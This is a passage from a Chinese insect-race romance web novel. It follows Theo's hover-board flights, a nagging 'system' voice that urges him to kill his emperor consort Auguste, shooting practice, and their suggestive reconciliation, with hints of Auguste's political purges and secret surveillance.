夕阳沉沉落下。 橙红色的绚烂熄灭,世界进入一片忧郁的深蓝。 让西奥想起奥古斯特的眼睛。 就在他下定决心,要转身离开的时候,一双手——温暖宽大的手,悄悄捂住了他的双眼。 熟悉的低沉磁性的声音响起,“猜猜我是谁?” 身体率先感到雀跃,西奥踮了踮脚,嘴角的微笑虫神都压不住,“是谁呢,是谁呢?” 他握住对方的手腕,紧紧不放,“手这么热,是诺亚吧?” 大概是因为意料之外的答案,对方沉默了。西奥又说:“啊不对,手指上好像有些茧子,那是不是拿手术刀的吉尔呢?” “西奥……” “啊,也说不定是同为军医的克利夫!” 这时候对方终于上道了,刻意压低的声音显得十分危险:“也可能是意图不轨、绑架雄虫的罪犯。” “哎呀!那真是太可怕了!”西奥语气夸张地表演道。 “如果再猜错,就要被惩罚了。” “什么惩罚?”西奥移开那双手,转过身来,撞上一对意料之中的带笑的蓝眸。 “什么惩罚呀?”他又问,声音满是期待。 奥古斯特沉默片刻,然后说:“罚你……” “给我一个吻。” 西奥搂住雌君的脖子,如他所言恶狠狠吻了上去。 这个吻持续了很长时间,直到天边最后的一抹暗蓝色也消失,变成彻底的漆黑。楼顶的照明灯亮起,拉出两道长长的影子。 夜晚的皇宫,依旧是灯火通明的,温暖漂亮的。 西奥重新把目光投向漂亮的皇宫,长出了一口气,然后他问奥古斯特:“这几天,你到底去哪了?我很担心。” “这不重要。”奥古斯特答,“重要的是,一切都结束了。” “结束了也不能告诉我吗?” “抱歉,但这是为了……保护你。”军雌的手指温柔摩梭他的脸颊,“你现在知道这些,只会徒增烦恼。” 西奥微微皱眉,第一次隐隐觉得,保护,有时候似乎也不是什么好词。 难得重聚,西奥也不想破坏气氛,便没有追问。然后又想起另一件事,“你是从哪里冒出来的?我都没听到开门的声音。” “我没开门,是飞过来的。” “飞过来?” “对,军雌大多都有翅膀。” “我能看看吗?” “当然。” 奥古斯特脱掉了军装外套,里面是背部镂空的深色训练服,然后他轻巧地抖了一下肩膀,唰!的一声,宽大的半透明的虫翼就从背后伸展开来。 那翅膀相当大,伸展开得有将近十米,薄如蝉翼,正在微凉的夜风中轻轻晃动。不知是不是灯光的原因,那些沿着虫翼伸展的脉络,似乎也在反射着流动的金色光芒。 “好漂亮……”西奥赞叹,他用指尖轻轻触碰,感受到微凉光滑触感的同时,翅膀也敏.感地颤动了两下。 虫翼轻轻扇动,奥古斯特双脚离地,悬停在半空中,俯视着天台上的雄主。 “这符合空气动力学吗?!”西奥问。 “不知道。但这是雌虫的本能。” 奥古斯特回到地面,然后问,“你也想飞吗?” “我倒是想!”西奥惋惜,“但是雄虫没有翅膀啊,想飞也做不到。” “借助科技,就可以。”奥古斯特冲他摊开掌心,那上面是一个巴掌大小的金属球。 “送你的。” 按照奥古斯特的指引,西奥用中指扣住金属球上方的拉环,然后轻轻一甩手腕。嗡地一声,下方的金属球开始像悠悠球一样缓慢下降,只在手心里留下了遥控钥匙大小的一块金属片。接着,那个球像莲花一样旋转着打开,咔咔几声,很快拼装成了滑板大小,悬浮在离地面几厘米的半空。甚至上方还留了几个固定扣。 “这是?”西奥被这种精巧的高科技迷住了。 “小型飞板。要试试吗?” “要!”一想到能够像雌虫那样在空中翱翔,西奥就很是跃跃欲试。 他小心地踩了上去,飞板很薄,但是相当结实,完全能够承载他的重量。固定扣也牢牢捆住了他的鞋子。 “这是上下,这是前后左右,这是停止。”奥古斯特一一讲解遥控器上的案件功能,“这个控制转向,这个控制速度。” “试试看。” 西奥看着遥控器,然后小心控制着上升键,缓慢升高。他一点点向上,直到高度超过了地面上的雌虫头顶。 “试试往前。”奥古斯特鼓励道,“放心,有我在。” 西奥看一眼天台外的地方,那里更高,更危险,但也是更为广阔的天地。 他缓慢的推动向前的按键,一点点离开了天台的范围。 西奥向下看去,他正悬浮在几十米的高空,地面站岗的士兵看起来像一块块小积木。要是不小心摔下去的话…… 西奥自认不算恐高,但等切身感受到这个高度,尤其脚下只有一小块薄薄飞板的时候,心脏还是忍不住加速跳动。夜风明明很凉,他却觉得后脊有些出汗。 “别怕。”身后传来雌君的声音。西奥回头,奥古斯特也跟着飞了过来,停在只有一步之遥的半空。他张开双臂,像是护着小孩子第一次学习骑自行车的家长那样,微笑着鼓励他,“如果你不小心掉下去,我会接住你的。” 这话让西奥定了心。他不再向下看可能的危险,而是向前、向上,看向更为广阔的夜空,然后—— 开始谨慎地学技能。 等确认自己熟练掌握了刹车的技巧之后,西奥才开始一点点加速。 先是像走路一样的慢速,然后逐渐变成跑步,然后骑上了自行车,然后是电动车……等终于开上小跑车的时候,夜风在耳边吹着悦耳的口哨,西奥忍不住张开双臂,在畅快的飞行中大喊:“哦呼——” 飞着飞着,眼看马上要飞出皇宫范围了,西奥赶紧用力刹车。 但速度太快,飞板急停后,上半.身却因为惯性直接甩了出去,整个虫开始绕着停下的飞板做旋 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“不怕啊!”西奥摸得理直气壮,肆无忌惮,“不是有你在吗?” “对,有我在。”奥古斯特缓慢眨了一下眼,“不会让你出任何事情。” 不过,“那还飞吗?” 于是第一次的飞行课程到此圆满结束。 “你送我的礼物,我很喜欢。” 不仅如此,他在室内待了太久,前几天又忧心忡忡,如今这次畅快的飞行,可以说是来到虫族后,第一次体会到自由的滋味。 西奥心里盘算着,也该送奥古斯特一个回礼才行。 也不知道虫皇陛下喜欢什么? 他们回到了宫殿内部后,西奥满心以为今晚奥古斯特会留下,但等两个虫腻腻歪歪回了卧室,奥古斯特却要离开。 西奥有点懵,“这么晚了,不睡觉吗?” “还有些事情需要处理。”奥古斯特轻轻吻在雄主发顶,“今晚不用等我了。” 几分钟后,皇家护卫队大楼内。 “怎么样?”奥古斯特问正在盯着大屏幕加班的诺亚。 “这是三天内,所有异动的清单。”诺亚点了一下屏幕,放大,“基本都摸清楚了,各个军团、甚至护卫队内部也有异常。” “想动手的话,护卫队潜伏在里面的乌鸦随时待命。” 奥古斯特扫了一眼名单,圈出几个名字,“这几个处理掉,其他的先不动。” “是。”诺亚很快将命令传达下去,等到指挥室里没有其他虫,才再次开口,“最近外面都在传,说什么感染密接,都是假的。都是您为了排除异己放出的烟雾弹。” 奥古斯特看了他一眼,没有说话。 “但我很清楚,这次您所承担的风险和付出的代价。”诺亚声音沉闷,搓了搓脸,然后继续,“从结果来看,一切都是好的。但在当时……” “说句不敬的话,我以为您做出了不理智的错误决定。” “但我仍旧听从了。这是作为副官的职责,但如果换个位置……”诺亚苦笑一声,“我恐怕就不及格了。” “诺亚,你已经做得很好……”奥古斯特的手掌轻轻压在这位跟随自己几十年的下属身上。 “陛下!”但诺亚打断了他的话,“陛下……” “今年的述职会议,还是由您来主持,可以吗?” 这就是明晃晃的拒绝了。 奥古斯特没有立刻同意,“我考虑一下。” 一阵沉默,然后奥古斯特突然想起什么,“对了,霍尔德宫殿内部的监控系统,现在怎么样了?” “大部分都被您切了,门口、顶楼还剩几个。”诺亚问,“要恢复吗?” “不用,只保留几个关键位置就好。其他的找时间回收掉,别被西奥发现。” “好。”诺亚立刻派发命令,“那皇宫的信号屏蔽呢?也要一并撤掉吗?” “嗯。”奥古斯特答,“事情结束,就没用了。” 就在屏蔽被撤掉的同时,一阵电流声响起。 睡梦中的西奥被吵醒,然后就听见脑子里有个稚嫩童声在吱哇乱叫:“宿主!呜呜宿主啊!” “我可算联系上你了啊!呜呜呜!” 18、第18章 系统 “你的意思是,我穿书了,穿成了一本虫族龙傲天文学里的炮灰,现在你作为系统联系我,是希望我拨乱反正,帮你们干掉本文最大反派,虫皇奥古斯特。作为交换条件,结束后你会送我回家?” “对对对!宿主好聪明啊!”系统忙不迭赞同,西奥都能想象出它一副小鸡啄米的样子,“还有,我的名字是系统006!” 西奥看着卫生间镜子里毛燥燥的自己,昨天他后半夜根本没睡,因为这个突然出现在脑袋里的系统一直在叽叽喳喳。他很困,心情自然不会好:“小六子啊!” “宿主您说!” “你有证据吗?”西奥问。 “哎?!” “你说你是系统,有什么证据吗?”西奥点了点自己的太阳穴,“我怎么知道你是不是我的幻听在胡说八道呢?” “宿主你怎么可以不信啊!我说了那么多故事情节!” “但有一样是跟我相关的吗?”西奥质问,他虽然喜欢看小说,但是大半夜的,对这位素未谋面还无法屏蔽的雄虫龙傲天真的提不起任何兴趣。 “因为是前置剧情,书里没写,所以系统也不清楚呢!” “那好,不说剧情。你说这是一本书,但是我的感受都真实无比。”说着,西奥还捏了捏自己的脸,有点疼,“你说能送我回家,先别说这个,你能先把我从卫生间里面,传送到外面吗?” “系统现在还很弱嘛!需要宿主完成任务才能兑换积分,然后就可以送您回家啦!不过系统现在可以帮你入侵电子系统哦!” 我要那干嘛?又不是黑客。 “说到这个任务,”西奥更是气不打一处来,“你要让我杀了奥古斯特?” “对呢!他是本书反派!超坏的!” “你别乱说,那是我老婆。”西奥不高兴了,“你说我本来好好的小日子,老婆虫崽热宫殿的,软饭吃得美滋滋。现在你却偏要让我杀老婆。” “如果我傻乎乎听了,真把奥古斯特杀了,到时候你又不能让我回家……”西奥算计得清清楚楚,“那我岂不是成了杀害虫皇的重犯?我也得死吧?” “按照你说的来,我好像什么好处都没有,全是坏处啊?”西奥毫不客气,“你知道这在地球叫什么?” “传.销啊!” “不对不对,宿主!”系统尖叫,“你的老婆,呸,雌君,他是个大坏蛋!” “你的虫皇雌君要杀你啊!” “是吗?”西奥才不信。 “真的呀!原书里就是这么写的!”系统开始声情并茂地用可爱童声朗读,“‘这位残忍冷酷的暴君,还曾经无情地杀死了自己的雄主,西奥·兰斯顿。在榨干他的利用价值后,便像抹布一样,将其随手丢弃。’” “就这?没了吗?” “毕竟就是个背景介绍,还是个早死的炮灰……有一句话提了名字就不错了。” “对啊,既然我是个炮灰,你找我干嘛?”西奥一边聊天,一边洗脸,“那你去找主角啊,给他开金手指,让他勤勤恳恳做任务去呗!” “但是,反派只能被标记过他的雄虫杀死……主角搞不定呀!”系统小声说。 西奥刷着牙,耸了耸肩,表示自己爱莫能助。 “宿主,宿主你要怎样才肯相信我啊?!” “你说,奥古斯特要杀我,对吧?”西奥对着镜子把那头扎眼的银发梳好,感觉有点长,该去理发了。算算,距离说好的一个月时间,也没剩几天了。 “那先拿出证据来。” “证据还不够多吗?比如你看,你来到虫族世界以后,还从来没出过门,多惨啊!皇宫外的世界,你见过吗?” “更正一下,是失忆之后没出去,因为安全问题。而且我现在带薪休假,多好的生活,别虫羡慕都羡慕不来呢!” “宿主——”系统听起来快要急哭了。 但西奥丝毫不吃这套,他以前在孤儿院见过的熊孩子多了去了,“好了,你先别吵。我要下楼跟雌君吃早饭了。” 正准备离开卫生间,系统又开始尖叫,“宿主一定要小心啊,你被大反派监控了!” 这话,系统也说了好多遍了。 西奥都懒得理他,直接出门下楼。只希望这个“系统”等会能安静一点。 不过今天早餐,奥古斯特并不在。只有克利夫在,“陛下和诺亚上将有些事情需要处理,还没回来。” “他说让您自己吃饭就好,不必等他。” 系统又开始:“啊啊啊肯定是去大开杀戒了!!!反派超恐怖的啊嘤嘤嘤~” 西奥:“闭嘴。” “什么?”克利夫好像没听清,问了一句。 “没事,不是跟你说的。” 西奥在餐桌前坐下,早餐是很简单的面包牛奶配煎蛋和小青菜。荤素搭配,营养丰富,而且非常接近人类曾经的饮食。 现在想来,这些食物虽然不算多么稀罕,但并不在绝大多数的雄虫食谱上。他跟宫殿里负责做饭的厨师聊过天,知道这都是奥古斯特特意为他准备的。 这么一想,心里又美了。 他用叉子把青菜往盘子边缘拨了几下,立刻被克利夫发现了,“陛下说,青菜也要吃完。” 奥古斯特虽然不在,但又好像处处都在。 西奥把青菜扒拉回来,然后乖乖吃掉了。正在回味来自雌君的关心,脑子里的系统又响了,“啊啊啊他连你吃什么都要管!!” “反派是个控制狂!” 好不容易轻快起来的心情,被系统的尖叫搅没了。 西奥问克利夫:“你有听到什么声音吗?” “什么?”克利夫很茫然。 看来,除了自己之外的虫都听不到。 昨天在第一次听到系统的声音后,西奥就尝试录音,很快确信,至少电子设备是听不到系统的。现在克利夫的反应再次证实了这一点。 所以,不管这个“系统”是什么,都是只存在于自己脑子里的声音。 “就是……”西奥手指在半空画了个圈,“苍蝇嗡嗡嗡的声音。” 克利夫侧耳倾听了半天,摇头,“什么都没有啊。” “我才不是苍蝇!!”系统不干了,“我可是你的专属系统啊,宿主!你不是说你超信这个吗!怎么不信我!” 西奥翻了个白眼。小说是小说,现实是现实。他分得很清楚。 而且没有金手指的垃圾系统,谁想要啊?! “那我可能是幻听了。”西奥说,“有可能是之前受伤导致的?” 军医克利夫立刻警觉,“严重吗?伴随头痛吗?需要我给您做个检查吗?” 系统突然安静了,大概在生气。 西奥想了想,“吉尔有空吗?让他来给我做检查吧。” 两个小时后,吉尔带着随身的医药箱来到了霍尔德宫殿。从他眼下浓重的黑眼圈来看,这几天他确实很忙。 西奥产生了一丢丢愧疚。但他坚持选择吉尔是有原因的。 “出现幻听了?是什么声音?”吉尔熟练地拿出监测仪器,“是说话的声音还是自然声音?有让你做什么吗?” “是蚊子哼哼。”西奥老老实实被扫描,“最近你很忙?” “你说呢?”吉尔一边忙活,一边没好气回答,“通宵加班了好几天,刚睡下呢,就被你叫过来了!” “抱歉抱歉,”西奥赶紧道歉,他也没想到吉尔会忙成这样,“我下周请你吃饭赔罪。” 好在吉尔没再计较,也可能是太累了,“算了,你也不知道,不怪你。” “所以,你们最近在忙什么?”像是随口一问,但这才是西奥真正的目的。 这几天究竟发生了什么,奥古斯特不说,从他的手下那里自然也问不出什么。 但吉尔不一样。他不是奥古斯特的直系下属,而是自己的朋友和同事。 “爆发了一小波疫情,陛下也参与了处理。” “原来是在忙这个吗?”这跟西奥的猜测倒是吻合,“那现在呢?” “已经解决了。不过……”吉尔看了一眼屏幕的扫描结果,点了两下,把异常的图像部分删除,“陛下正借着疫情这个引子,在清除叛党。” “我就说他在大开杀戒吧!!!”系统立刻赞同。 西奥完全不想理系统,“所以,是什么样的疫情?” “一种只会感染雌虫的病毒。出现好多年了,说起来……”说这话时,吉尔突然定定看着西奥,表情有点过于严肃。 “你这个表情看我做什么?” “陛下是不是什么都没跟你说?” 系统立刻:“太坏了!反派太坏了!” 西奥脸上的表情已经回答了一切。 吉尔长叹一声,不知道是羡慕还是嫉妒,“你现在……真的被虫皇陛下保护得很好。” 对于这种话,西奥已经不以为耻,反以为荣了。 “以前不这样吗?” “以前,”吉尔有点被噎住了,半天才说,“你好像更成熟一点。” 确实,按照心理年龄,没有失去记忆的自己,要比现在的自己大了几十岁,更成熟也很正常。 “扫描结果一切正常。”吉尔把图像给西奥看了一眼,“你是不是心理压力太大了?” “有可能。”前几天,奥古斯特失联又不解释的时候,西奥没有担心和埋怨是不可能的。 但怎么也不该生出这样的“系统”幻觉。 杀了奥古斯特?怎么可能! 最多可以在床.上试一下。 “是不是太久没出门了?”吉尔把器械收拾好,关心道,“之前我弟弟就会这样。” “你弟弟?”西奥第一次听到吉尔提起自己的家庭成员。 “对,也是个雄虫,我跟他关系还挺好的。”话戛然而止。 “然后呢?”怎么话说一半不说了? “他后来得抑郁症,已经去世了。” “啊,抱歉。”西奥也没想到会戳中朋友的伤心事,“节哀。” “没事,都已经过去很久了。而且……”吉尔露出一个微笑。 “我已经报仇了。”《 》 19、第19章 射击 但吉尔的复仇故事并不像基督山伯爵那样跌宕起伏、酣畅淋漓,作为一个普通的雄虫,他能做的,也不过是举报并让对方丢了工作而已。 而且吉尔明显不想多说,再加上又累又困,检查完很快就离开了。 不过,或许他说的有道理,老闷在房间里对身体和心理健.康都不好。 正好,昨天奥古斯特送他的那个飞板,西奥实在喜欢,还想多练练。便跟克利夫打了声招呼,准备去宫殿前面的草坪上飞两圈。 等走到草坪上,西奥发现周围好像少了点什么。然后才注意到,克利夫没跟上来。 “你不跟着我了?”西奥特地回去找他。 “你看反派还要派手下来监视你!太坏了!”系统不放过一点吐槽奥古斯特的机会。 克利夫头都没抬,摆摆手,“现在已经没事了。您自己去玩儿吧,注意安全就好。” 西奥绕到他身后,看到了他屏幕上的小说名字:《重生后把娇美雄虫带回家》。 嚯! 克利夫迅速关掉投屏,“请别跟陛下说啊!” “我是那种打小报告的虫吗?”西奥忍住笑,“你看吧,我自己去草坪上飞一会儿。” “好。”克利夫又低下头,然后突然反应过来,猛地抬头,“飞什么?!” 只见平坦开阔的大草坪上,雄虫正伸开胳膊,踩在一块窄窄的飞板上,摇摇晃晃、但逐渐稳当的前行。 因为奥古斯特不在,西奥今天不敢飞太高,只维持在半米的安全高度,前进、加速、转弯、停止。很快,就熟练了起来。 大概是之前就用过,西奥进步很快。不过几个小时,就已经能帅气潇洒地背着手急转弯了。 甚至后来,还升到了两三米的高度,堂而皇之、大摇大摆地飞出了皇宫。 没被阻拦,更没被跟随。 “你看,我的雌君并没有限制我。”飞板在脚下顺畅地摆出s型曲线,顺便嘲笑一下系统,“他之前只是担心我的安全。” “这只是……只是暂时的!反派后面肯定会暴露的!” 能暴露什么?x.p吗? 西奥哼着小曲,越飞越远。就在这时,后面终于有士兵追了上来,“西奥阁下!!!” “你看你看,反派来抓你了吧!” “什么事?”西奥停下,等士兵追过来。 “西奥阁下,请不要飞太远。皇宫外围超过三公里的距离外,就禁止飞行了,可能会被自动防卫导弹误伤。” “好,我知道了。马上回去。”西奥笑眯眯。 “请务必注意安全。”士兵冲他行了个军礼。 系统:“糖衣炮弹!绝对是糖衣炮弹!” “小六子,告诉你一个简单的道理。”西奥又赢一局,“如果一样东西,看起来像鸭子,叫起来像鸭子,吃起来也像鸭子。” “那他就是鸭子,不是炮弹,好吗?” 但系统心中的成见是一座大山。虽然声音是稚嫩可爱的童声,却也已经是个没办法被改变的成年系统了。 在意识到这点后,西奥就干脆冷处理。他飞自己的,任由系统吵闹。 “再吵,我就告诉奥古斯特,想办法屏蔽你。”而在这句威胁后,系统总算消停了不少。 这一天的飞行训练,已经让西奥心情舒畅。晚饭时候回家,发现奥古斯特已经在餐桌旁等他,更是忍不住欣喜雀跃。 他从背后踮着脚接近雌虫,伸出指尖,轻轻点在那一截露出的后颈上。 本来坐得端正严肃的雌虫,被戳得缩了缩脖子。如果他是个猛禽,此刻必然因为这个动作,脖子上的毛都要炸出来一圈了。 “噗!”西奥为自己这个无端联想笑出了声。 奥古斯特扭头看他:“什么事情这么好笑?” 西奥拽过另一把椅子,挨着奥古斯特坐下,“嗯,想到了一个笑话。” “什么笑话?” 很好,他现在要临时编一个笑话了。 西奥略加思索,“你知道没有黑眼圈的熊猫吗?” “什么?” 西奥不得不给雌君解释,说那是一种圆圆的可爱动物,四肢和耳朵是黑色的,其他地方是白色的。 奥古斯特点头,“我知道了,你是说潘德兽?” 说着,他点开手环,给西奥看照片。西奥眼睛都瞪大了! 还真是——! 人类都灭绝了,熊猫居然还活着! 西奥点击编辑图片,用白色的画笔把黑眼圈部分给去掉,顿时潘德兽就从憨态可掬的圆滚滚,变成了傻不愣登的豆豆眼。 “看,没有黑眼圈的潘德兽!” 奥古斯特终于也被逗笑了,“你脑子里,怎么总有这么多新奇的东西?” “不好吗?”笑闹间,西奥的手已经伸进奥古斯特的衣领。那晚他们探索了很久,足够西奥搞清楚雌虫的几个敏.感之处。 领口被顺利解开,西奥的两根手指像小人的两条腿,沿着雌虫的锁骨走向肩膀。奥古斯特轻轻抽了一口气,但并没有阻止。 西奥俯身,贴在雌君耳边小声说,“我知道你做了什么。” 奥古斯特心脏骤停,浑身肌肉瞬间绷紧! 但他看起来依旧镇定,问:“我做了什么?” “你在借机清除异己。” 奥古斯特缓慢长出了一口气。“谁告诉你的?” 这就是承认了。 “我自己猜到的,我又不笨!”西奥继续说,“而且我并不反对你这样做。我只是……很讨厌这种被蒙在鼓里的感觉。” “我现在没有记忆和经验,可能缺少相关的能力和技巧,那我可以不知道细节,不干涉决定。” “但我们毕竟是最亲密的伴侣。如果连生死都已经绑定的话,那你是不是也能对我有点信心?相信不管是什么事情,我都会无条件站在你那边?” 西奥接着举例:“哪怕你说你杀了个虫,我也会选择帮你清理现场的!” 系统陡然尖叫:“宿主!宿主你怎么能这样啊?!不要被反派带坏啊!!” 西奥假装没听见,神情真挚又诚恳。 但奥古斯特仍旧没有回答。 因为他并不是不相信西奥,而是不相信自己。 “试着相信我,现在的我,可以吗?”西奥的手从衣领里抽出,在雌君的颈侧和下巴轻轻摩梭,不带任何暧昧,只剩单纯的安抚。 “我……”奥古斯特终于开口,“有我的顾虑。” “是担心我的安全吗?” 奥古斯特犹豫了一下,然后点头,“我的确担心会失去你。” “精神力我会继续尽力恢复。”虽然对于能不能恢复,什么时候恢复,西奥心里完全没有底,“但即便没有精神力,我仍然可以保护好自己。” “地下室武器库里,应该有我能用的武器吧?” 系统继续尖叫:“反派怎么可能让你碰武器?!别做梦了!” 但奥古斯特说,“有。” “等吃完饭,我带你去。” 系统:…… 晚饭后,两虫来到了地下室的武器库。在成百上千种眼花缭乱的武器中,奥古斯特精准挑选出了一把轻型手枪,这比之前诺亚递过来的标准枪械轻多了。 西奥接过来,掂了掂,虽然还是分量不轻,但至少用双手能举得起来。 “这是你年轻时候……” 西奥立刻看了过来,仿佛在质问,我现在老了吗? “这是你以前用过的改造枪械。应该还能用。” “但是,”奥古斯特补充道,“如果是之前,能用精神力的时候,你根本用不上这个。” “难道我能用精神力躲子弹?”西奥笑道。 但奥古斯特没笑。 “真行?!”西奥震惊,“雄虫的精神力还能这么用吗?有那么硬?!”不应该都是软绵绵的触.手吗?论文里都是这么写的! “并不是像雌虫那样凝成坚固的盾牌,而是精准预判并躲开所有子弹。” 西奥脑子里顿时浮现出黑客帝国里面,基努躲子弹的场景。 “我能停止时间?!” “不,你不能。那是你祖宗的技能。” 西奥总觉得,失去了精神力的自己,错过了很多。不为此感到遗憾是不可能的。 “但即便没有精神力,那我也还是我。” “照样可以保护自己。信我!” 有时候,奥古斯特会恍惚以为,自己爱上的是过于完美的象征,而不是真实存在的生命。 所以,如果西奥知晓真相…… 不,他不会知道的。 他们带上枪,一同去了旁边的靶场。 “一只脚在前,一只脚在后,微微侧身,大概四十五度,重心要放在脚掌上,稳定身体。”奥古斯特站在西奥身后,帮他及时调整姿势,“持枪的手伸直,锁定手肘,你的目标就在你指尖的方向。” “另一只手肘弯曲,用来支撑枪身。持枪手臂不要太高,略微低于眼睛。瞄准线要跟持枪手臂在同一条直线上。”然后一双手轻轻压在西奥肩膀上,“放松,你的肩膀太紧了。” “保持呼吸平稳,射击的准度才会高。” 但是奥古斯特离得太近了!刚才调整姿势的时候,几乎把他整个虫抱在了怀中,西奥怎么可能不紧张! “深呼吸,吸——”伴随呼吸的口令节奏,奥古斯特在一旁做出双手缓慢抬升的动作,然后下降,“呼——” 奥古斯特的确是个好老师,不管是射击,还是飞行。都是一样的耐心细致。 西奥重新将目光放在自己的目标——正前方的靶子上,调整姿势,瞄准靶心,然后在平稳的呼吸中猛地扣下了扳机! 砰!!! 子弹出膛,手臂瞬间像是被棍棒用力敲了一下,但好在后坐力不算太强,至少下半.身还是稳当的。 然后下一秒,屏幕就出现了分数: 十环!正中靶心!!! “耶!!”西奥高兴地简直要跳起来,他握紧拳头,用力向空中一挥,然后看向奥古斯特,“我就说我行吧!” 然后又问,“我以前也是神枪手吗?”这是肌肉记忆,还是天赋异禀? “你一直很厉害。继续吧。”奥古斯特微笑着看他。 直到二十发子弹全部打完,全部十环,西奥才觉得不太对劲。神枪手也不可能没有失误啊! 这时候奥古斯特才告诉他,“枪械自带瞄准功能。尤其是对于这种标准的靶子结构,几乎百发百中。” “所以刚才射中靶心的,不是我,而是这把枪?”西奥有点丧气。 “当然是你。你是持枪者,你扣动了扳机。而且实战中的枪械也大都带有瞄准功能。”奥古斯特安慰他,“在实际使用中,自动瞄准也能帮你解决大部分常见的目标物。” 但在西奥的坚持下,还是关闭了瞄准功能,然后再次练习。结果准确度一下子低了很多,甚至还有一次不小心脱靶了。 他们一直练习到很晚,布满弹孔的靶子换了一个又一个,最后的成绩稳定在七到九环。 西奥仍不满意。直到奥古斯特说:“已经没有子弹了。”他这才收手。 然后,肩膀的酸痛突然袭来。 在西奥活动肩膀的时候,一只手也轻柔地捏了上来,“我相信你。” 奥古斯特说,“我相信你,即便没有我,也能确保自己的安全。” 迎着西奥惊喜的目光,奥古斯特在心底默默补上后面半句: 所以,才不可能放你离开。《 》 20、第20章 睡 今晚,奥古斯特正式搬回了主卧。 “反派肯定要近距离监视你了!”系统嚷嚷道。 趁着奥古斯特洗澡,西奥恶狠狠威胁:“你再乱说,我就主板给你拔了,音响给你扇烂!” 系统被这样凶狠直白的威胁给吓住了:……嘤。 但总算还了西奥一个清净。 奥古斯特的东西不算多,一套洗漱用品,几套军装和便服。大部分更正式繁杂的衣物还是留在了次卧的衣帽间里。 但也有了很明显的区别,床边多了一双大一码的拖鞋,柔软的大床.上多了一个枕头。 卫生间里的淋浴声停止后,身侧的床铺一沉,被子里便多了一个热乎乎的雌虫。 西奥突然觉得有点紧张。 明明已经睡.过了,还睡了很久,但再次盖棉被纯躺.床,西奥还是有点莫名激动。 他们以后,应该每天都会睡在一起了吧。 那……西奥先是紧紧盯着天花板五秒,然后又故作若无其事的看了一眼自己这边床头柜上的夜光时钟。上面显示,现在是晚上的十点四十二分。 嗯……夜晚还有很久呢! 虽然,他今天右侧的胳膊着实有点酸,即便经过了热水淋浴,也没能缓解多少。但是,他还有左手和嘴巴可以用,一样可以让雌虫很舒服的…… 打定主意后,西奥翻过身去,然后一下子撞上了那双深蓝色的眼眸。 那眼里还带着笑,也不知道看他多久了! 脸上的火一下子便着了。 “那个……”西奥眼神开始乱飘,“已经是晚上了啊。”话也开始乱说。 他们挨得实在太近了!差一点点,鼻尖都能撞上! “是。”奥古斯特说,“今天忙碌一整天,很累了……” “啊……确实。”也对,既然是清除异己,应该有很多事情要忙,今晚还陪自己练习射击。奥古斯特一定很累了。 说不失望是假的。但西奥不是那种强.迫伴侣的坏虫,既然奥古斯特不愿意,那也只能早点睡了,“那我们今晚就……” “所以,什么时候给我信息素?” 嗯?等等?! “我需要你的信息素。”说着,奥古斯特握住西奥的手,放在自己的腹部,“忘了吗?我怀蛋了。” “很、需、要,你的信息素。”很需要这三个字,被重读了。 西奥吞咽了一下口水,“有多需要?” 他的手被握着来到了另一个地方。 “你想要多少信息素?”西奥压低声音问。 奥古斯特不甘示弱回视那双染了暗色的金眸,然后拿出一根试管,“这是三十毫升,跟那里的体积一样。你最好把它装满。” 奥古斯特声音低哑,“如果有多出来的部分……” “我也可以保证,绝不浪费。”雌虫依旧面无表情,堪称严肃,然后说,“一滴不剩。” 卧槽!这谁受的住啊!!! 反正西奥禁不住。 他立刻向自己的本能投降,大投特投!投了很多次! 一直投到闹钟响起。西奥从被子里钻出来,毛糟糟看了一眼闹钟,摁灭。现在是早晨七点钟。 是起床吃饭的时候了。 西奥肚子叫了一声,他的确饿了。毕竟,运动非常消耗体力。 但是,但是…… 奥古斯特也从被子底下钻出来,冲雄虫挑了挑眉,“已经很不错了。” 啊啊啊!!!但是雌君还没吃饱啊!这对吗?这简直就是四脚吞金兽啊! 而且这句话,什么意思?!什么叫已经很不错了?意思是以前能更好?! 西奥的胜负欲顿时被挑起,他觉得自己还可以继续喂! 但还没等他扑过去,雌虫已经掀开被子下/床去。身/上的痕/迹也开始消失。 “要工作。”奥古斯特言简意赅道。 西奥双臂交叉抱在胸前,气呼呼对虫皇陛下大放厥词:“什么破工作啊!辞了吧!我养你!” 奥古斯特忍俊不禁,伸手揉一把生起气来愈发漂亮的雄虫,“如果我不是虫皇,你可能就不是我的雄主了。” “怎么会?!”西奥不相信,“我对你可是一见钟情!”再见倾心! 不过,这都是失忆之后的感受。 “对了,”西奥突然想起来,“我们当初到底是怎么在一起的?” 他已经听过好几个离谱的版本,现在想听听当事虫的说法。 “嗯……”奥古斯特歪着头思考片刻,“可以算一见钟情吧。” 他回想起浑身鲜血的自己握住匕首抵在雄虫咽喉,刀刃因为脱力而微微颤抖,“如果你敢标记我,我一定杀了你!” 但雄虫只是举起双手,冷静地说:“如果我不标记你,我们都会死。” “你以为我会怕死吗!” “听着,我的名字是西奥·兰斯顿,默兹力之子。”他说,“我知道你是莫德神兵,你以为我愿意标记你吗!” “但是没办法,我们都没得选了。”西奥说,“现在这种情况,要么合作,要么死——” “如果你死了,就没办法给你的弟弟报仇。” “至于我……”雄虫金眸发亮,笑着说:“我可绝不会死在这种地方!” 回忆结束。 奥古斯特说:“我们第一次见面,就完成了标记。” 卧槽!这么刺激吗?! 西奥有点懵,好半天才小心翼翼问:“我……没有强.迫你吧?”不会被小头控制大脑,做出犯.罪行为吧!! “你觉得,你有实力强迫我吗?”奥古斯特反问。 ……这话就有点扎心了! “如果我有精神力,也做不到吗?” “如果你有精神力,”奥古斯特顿了一下,“等下,你要用精神力做这种事?” 啊,糟了!一时嘴快了! “呃……我是说,如果,如果。一个假设。”西奥有些心虚。 “如果你有精神力……你应该可以做到任何想做的。” 任何?西奥觉得有点夸张,然后问:“包括你吗?” 奥古斯特:“……” 他做出了一个向后退的动作,强调:“要工作。” 雌虫就是不落网,西奥也没有办法。他抱着被子可怜兮兮坐在床上,歪着头,试图发挥自己的美貌攻势。 然后就看到雌虫非常干脆地转身进了卫生间,一阵清洗的声音传来。等从衣帽间出来的时候,已经是一个干净利落、衣装完整的军雌了。 心爱的蜜皮大扔就这样被裹上了包装纸。 “好可惜哦……”西奥小声说。 “宿主,我觉得你是不是稍微有点……”系统被迫围观了一整夜,也有点恍惚,“沉迷不健康运动了???”这话已经相当委婉了。 “不行吗?”西奥感叹,“人生中这样幸福的时刻,能有几次呢?” 系统生无可恋:“统生中这样灰暗的时刻,还能有几次呢?” 就在奥古斯特马上要出门的时候,西奥慌忙从床上跳下来,鞋都没来得及穿,光着脚跑了过去,仰头撅起嘴,“早安吻!” 